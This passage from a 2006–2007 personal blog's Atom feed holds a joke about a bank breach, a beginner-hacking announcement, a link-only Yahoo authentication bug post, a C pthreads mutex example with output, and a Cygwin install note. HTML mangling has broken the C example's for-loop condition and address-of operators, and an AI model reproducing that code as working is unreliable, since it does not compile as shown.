/&gt;~+~+~+~~+~+~+~+~+~+~+~~+~+~+~+~+~+~+~+&lt;br /&gt;&lt;br /&gt;"There is no way you're describing our system,&lt;br /&gt;she could never have gotten past our security.&lt;br /&gt;&lt;br /&gt;But I'm going to find her and see that she's prosecuted ...&lt;br /&gt;she broke the law, and she's going to pay!"&lt;br /&gt;President of "Blah Blah Bank"&lt;br /&gt;&lt;br /&gt;--&gt;&gt;&gt; Does anybody ELSE see a small discrepancy here ???????&lt;br /&gt;&lt;br /&gt;*****************************************&lt;br /&gt;For full story (and many others), download&lt;br /&gt;"External Threats to Computer Security in Networked Systems"&lt;br /&gt;from Winn Schwartau's InfoWar.com bookstore @ &lt;a href="http://www.infowar.com/"&gt;http://www.infowar.com/&lt;/a&gt;&lt;br /&gt;#################################################&lt;br /&gt;&lt;br /&gt;I felt really difficult when I had the enthusiasm to hack but without any learning resouces. So from here on, I will post more ideas into hacking (the real hacking and not cracking). Beginners can use this one to develop themselves and contribute to others also.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-1024437183507386404?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/1024437183507386404/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=1024437183507386404&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/1024437183507386404'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/1024437183507386404'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2007/03/its-time.html' title='Its time...'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-172992105020679090</id><published>2007-01-20T11:29:00.000+05:30</published><updated>2008-02-10T19:20:11.466+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Windows'/><title type='text'>Bug in Yahoo authentication</title><content type='html'>Here is my post on this, &lt;a href="http://visionofarun.blogspot.com/2007/01/bug-in-yahoo-authentication.html"&gt;on my other blog&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-172992105020679090?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/172992105020679090/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=172992105020679090&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/172992105020679090'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/172992105020679090'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2007/01/bug-in-yahoo-authentication.html' title='Bug in Yahoo authentication'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-116519132285747255</id><published>2006-12-04T14:20:00.001+05:30</published><updated>2010-03-27T14:22:58.398+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Threads'/><title type='text'>Thread creation, synchronization with mutex</title><content type='html'>Here is my first program with threads on my AUM. Its a very simple program which you can understand just by going through it (Please refer to the links on the right side for basic tutorials on pthreads).&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;pthread.h&gt;&lt;br /&gt;&lt;br /&gt;pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;&lt;br /&gt;&lt;br /&gt;void* Fun(void* Val)&lt;br /&gt;{&lt;br /&gt;int j = *(int*)Val;&lt;br /&gt;for (int i = 0; i &lt; face="courier new"&gt;    &lt;br /&gt;{&lt;br /&gt;pthread_mutex_lock(&amp;mutex);&lt;br /&gt;&lt;br /&gt;if (j == 1)&lt;br /&gt;printf ("%d * %d = %d\t", j, i, j*i);&lt;br /&gt;else&lt;br /&gt;printf ("%d * %d = %d\n", j, i, j*i);&lt;br /&gt;&lt;br /&gt;pthread_mutex_unlock(&amp;mutex);&lt;br /&gt;}&lt;br /&gt;pthread_exit(NULL);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;pthread_t Tid1, Tid2;&lt;br /&gt;int i1 = 1, i2 = 2;&lt;br /&gt;&lt;br /&gt;pthread_create(&amp;Tid1, NULL, Fun, (void*)&amp;amp;amp;amp;i1);&lt;br /&gt;pthread_create(&amp;Tid2, NULL, Fun, (void*)&amp;amp;amp;amp;i2);&lt;br /&gt;&lt;br /&gt;pthread_join(Tid1, NULL);&lt;br /&gt;pthread_join(Tid2, NULL);&lt;br /&gt;&lt;br /&gt;printf ("All done, Well done!!\n");&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;strong&gt;OUTPUT:&lt;/strong&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;Home@AUM ~&lt;br /&gt;$ gcc multi.cpp -lpthread -o multi&lt;br /&gt;&lt;br /&gt;Home@AUM ~&lt;br /&gt;$ ./multi&lt;br /&gt;1 * 0 = 0    2 * 0 = 0&lt;br /&gt;1 * 1 = 1    2 * 1 = 2&lt;br /&gt;1 * 2 = 2    2 * 2 = 4&lt;br /&gt;1 * 3 = 3    2 * 3 = 6&lt;br /&gt;1 * 4 = 4    2 * 4 = 8&lt;br /&gt;1 * 5 = 5    2 * 5 = 10&lt;br /&gt;1 * 6 = 6    2 * 6 = 12&lt;br /&gt;1 * 7 = 7    2 * 7 = 14&lt;br /&gt;1 * 8 = 8    2 * 8 = 16&lt;br /&gt;1 * 9 = 9    2 * 9 = 18&lt;br /&gt;1 * 10 = 10    2 * 10 = 20&lt;br /&gt;1 * 11 = 11    2 * 11 = 22&lt;br /&gt;1 * 12 = 12    2 * 12 = 24&lt;br /&gt;1 * 13 = 13    2 * 13 = 26&lt;br /&gt;1 * 14 = 14    2 * 14 = 28&lt;br /&gt;1 * 15 = 15    2 * 15 = 30&lt;br /&gt;1 * 16 = 16    2 * 16 = 32&lt;br /&gt;1 * 17 = 17    2 * 17 = 34&lt;br /&gt;1 * 18 = 18    2 * 18 = 36&lt;br /&gt;1 * 19 = 19    2 * 19 = 38&lt;br /&gt;All done, Well done!!&lt;br /&gt;&lt;br /&gt;Home@AUM ~&lt;br /&gt;$&lt;/pre&gt;&lt;br /&gt;But this is not the output always.. because, the execution of the threads are not sequential and its the kernel that chooses the thread that should be executed. So the following output is also possible.&lt;br /&gt;&lt;br /&gt;&lt;pre type="syntaxhighlighter" class="brush:c"&gt;Home@AUM ~&lt;br /&gt;$ ./1&lt;br /&gt;1 * 0 = 0    1 * 1 = 1    1 * 2 = 2    1 * 3 = 3    1 * 4 = 4    1 * 5 = 5    1 * 6 = 6    1 * 7 = 7    1 * 8 = 8     1 * 9 = 9    1 * 10 = 10    1 * 11 = 11    1 * 12 = 12    1 * 13 = 13    1 * 14 = 14    1 * 15 = 15    1 * 16 = 16    1 * 17 = 17    1 * 18 = 18    1 * 19 = 19    2 * 0 = 0&lt;br /&gt;2 * 1 = 2&lt;br /&gt;2 * 2 = 4&lt;br /&gt;2 * 3 = 6&lt;br /&gt;2 * 4 = 8&lt;br /&gt;2 * 5 = 10&lt;br /&gt;2 * 6 = 12&lt;br /&gt;2 * 7 = 14&lt;br /&gt;2 * 8 = 16&lt;br /&gt;2 * 9 = 18&lt;br /&gt;2 * 10 = 20&lt;br /&gt;2 * 11 = 22&lt;br /&gt;2 * 12 = 24&lt;br /&gt;2 * 13 = 26&lt;br /&gt;2 * 14 = 28&lt;br /&gt;2 * 15 = 30&lt;br /&gt;2 * 16 = 32&lt;br /&gt;2 * 17 = 34&lt;br /&gt;2 * 18 = 36&lt;br /&gt;2 * 19 = 38&lt;br /&gt;All done, Well done!!&lt;br /&gt;&lt;br /&gt;Home@AUM ~&lt;br /&gt;$&lt;/pre&gt;Think about this for a while. You will understand. If you get confused, then leave a comment.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-116519132285747255?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/116519132285747255/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=116519132285747255&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/116519132285747255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/116519132285747255'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2006/12/thread-creation-synchronization-with.html' title='Thread creation, synchronization with mutex'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-37842813.post-116518981045830856</id><published>2006-12-04T14:08:00.000+05:30</published><updated>2008-02-10T19:17:53.712+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><title type='text'>CygWIN - Get it</title><content type='html'>I configured cygwin on my lappy to have a linux feeling. It is good too. I always wanted to try this cygwin. But i never had a faster internet connection to download it and I should admit that i did not have a computer to test it out. My home system was very slow and my bro used it only for gaming.&lt;br /&gt;&lt;br /&gt;Those who want to try cygwin can get it from &lt;a href="http://www.cygwin.com/"&gt;here&lt;br /&gt;&lt;/a&gt;. Initially it will download a small (in size) binary, which will then connect to the server to download all its packages. When you download it, make sure you check the options of complete installation and not just the options for beginners.&lt;br /&gt;&lt;br /&gt;Be patient, because it took 3 hours for me to download and install all the packages.&lt;br /&gt;&lt;br /&gt;Once it is done, you can very well use it as a linux terminal. I love to work in console. So it was looking good for me, except for the junk look of the command prompt (where the bash is emulated).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/37842813-116518981045830856?l=pthreads.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pthreads.blogspot.com/feeds/116518981045830856/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=37842813&amp;postID=116518981045830856&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/116518981045830856'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/37842813/posts/default/116518981045830856'/><link rel='alternate' type='text/html' href='http://pthreads.blogspot.com/2006/12/cygwin-get-it.html' title='CygWIN - Get it'/><author><name>Arun Chandrasekaran</name><uri>https://profiles.google.com/104588886249744563584</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-4_fCT5-Bzi4/AAAAAAAAAAI/AAAAAAAAN6g/r7se38X2WZI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry></feed>
